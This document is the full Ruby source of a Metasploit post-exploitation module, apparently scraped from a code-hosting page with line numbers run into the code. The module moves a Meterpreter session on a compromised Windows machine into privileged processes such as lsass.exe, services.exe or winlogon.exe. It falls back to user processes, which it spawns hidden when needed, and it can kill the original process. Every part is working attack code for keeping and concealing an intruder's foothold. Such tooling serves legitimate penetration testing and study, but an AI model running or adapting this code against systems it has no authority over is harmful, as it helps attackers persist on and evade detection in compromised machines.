Path: blob/master/modules/post/windows/manage/priv_migrate.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv78DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]9DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Manage Privilege Based Process Migration ',16'Description' => %q{17This module will migrate a Meterpreter session based on session privileges.18It will do everything it can to migrate, including spawning a new User level process.19For sessions with Admin rights: It will try to migrate into a System level process in the following20order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.21If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:22It will try to migrate to a user level process, if that fails it will attempt to spawn the process23then migrate to it. It will attempt the User level processes in the following order:24NAME (if specified), explorer.exe, then notepad.exe.25},26'License' => MSF_LICENSE,27'Author' => [28'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>',29'theLightCosine'30],31'Platform' => ['win' ],32'SessionTypes' => ['meterpreter' ],33'Compat' => {34'Meterpreter' => {35'Commands' => %w[36core_migrate37stdapi_sys_config_getuid38stdapi_sys_process_attach39stdapi_sys_process_execute40stdapi_sys_process_get_processes41stdapi_sys_process_kill42]43}44},45'Notes' => {46'Stability' => [CRASH_SERVICE_DOWN],47'SideEffects' => [],48'Reliability' => []49}50)51)5253register_options(54[55OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),56OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),57OptBool.new('KILL', [true, 'Kill original session process.', false]),58OptBool.new('NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])59]60)61end6263def run64# Get current process information65@original_pid = client.sys.process.open.pid66@original_name = client.sys.process.open.name.downcase67print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")68unless migrate_admin69if is_admin? && !datastore['NOFAIL']70print_status('NOFAIL set to false, exiting module.')71return72end73migrate_user74end75end7677# This function returns the first process id of a process with the name provided.78# It will make sure that the process has a visible user meaning that the session has rights to that process.79# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.80#81# @return [Integer] the PID if one is found82# @return [NilClass] if no PID was found83def get_pid(proc_name)84processes = client.sys.process.get_processes85processes.each do |proc|86if proc['name'].downcase == proc_name && proc['user'] != ''87return proc['pid']88end89end90return nil91end9293# This function will try to kill the original session process94#95# @return [void] A useful return value is not expected here96def kill(proc_pid, proc_name)97if datastore['KILL']98begin99print_status("Trying to kill original process #{proc_name} (#{proc_pid})")100session.sys.process.kill(proc_pid)101print_good("Successfully killed process #{proc_name} (#{proc_pid})")102rescue ::Rex::Post::Meterpreter::RequestError => e103print_error("Could not kill original process #{proc_name} (#{proc_pid})")104print_error(e.to_s)105end106end107end108109# This function attempts to migrate to the specified process.110#111# @return [TrueClass] if it successfully migrated112# @return [FalseClass] if it failed to migrate113def migrate(target_pid, proc_name, current_pid)114if !target_pid115print_error("Could not migrate to #{proc_name}.")116return false117end118119print_status("Trying #{proc_name} (#{target_pid})")120121if target_pid == current_pid122print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")123return true124end125126begin127client.core.migrate(target_pid)128print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")129return true130rescue ::Rex::Post::Meterpreter::RequestError => e131print_error("Could not migrate to #{proc_name}.")132print_error(e.to_s)133return false134rescue ::Rex::RuntimeError => e135print_error("Could not migrate to #{proc_name}.")136print_error(e.to_s)137return false138end139end140141# Attempts to migrate into one of the Target Admin Processes.142#143# @return [TrueClass] if it successfully migrated144# @return [FalseClass] if it failed to migrate145def migrate_admin146if is_admin?147# Populate target array and Downcase all Targets148admin_targets = DEFAULT_ADMIN_TARGETS.dup149admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']150admin_targets.map!(&:downcase)151152if is_system?153print_status('Session is already Admin and System.')154if admin_targets.include? @original_name155print_good("Session is already in target process: #{@original_name}.")156return true157end158else159print_status('Session is Admin but not System.')160end161print_status('Will attempt to migrate to specified System level process.')162163# Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work.164admin_targets.each do |target_name|165if migrate(get_pid(target_name), target_name, @original_pid)166kill(@original_pid, @original_name)167return true168end169end170print_error('Unable to migrate to any of the System level processes.')171else172print_status('Session has User level rights.')173end174false175end176177# Attempts to migrate to one of the Target User Processes178#179# @return [TrueClass] if it successfully migrated180# @return [FalseClass] if it failed to migrate181def migrate_user182# Populate Target Array and Downcase all Targets183user_targets = DEFAULT_USER_TARGETS.dup184user_targets.unshift(datastore['NAME']) if datastore['NAME']185user_targets.map!(&:downcase)186187print_status('Will attempt to migrate to a User level process.')188189# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.190user_targets.each do |target_name|191if migrate(get_pid(target_name), target_name, @original_pid)192kill(@original_pid, @original_name)193return true194end195196if migrate(spawn(target_name), target_name, @original_pid)197kill(@original_pid, @original_name)198return true199end200end201false202end203204# This function will attempt to spawn a new process of the type provided by the name.205#206# @return [Integer] the PID if the process spawned successfully207# @return [NilClass] if the spawn failed208def spawn(proc_name)209print_status("Attempting to spawn #{proc_name}")210proc = session.sys.process.execute(proc_name, nil, { 'Hidden' => true })211print_good("Successfully spawned #{proc_name}")212return proc.pid213rescue ::Rex::Post::Meterpreter::RequestError => e214print_error("Could not spawn #{proc_name}.")215print_error(e.to_s)216return nil217end218end219220221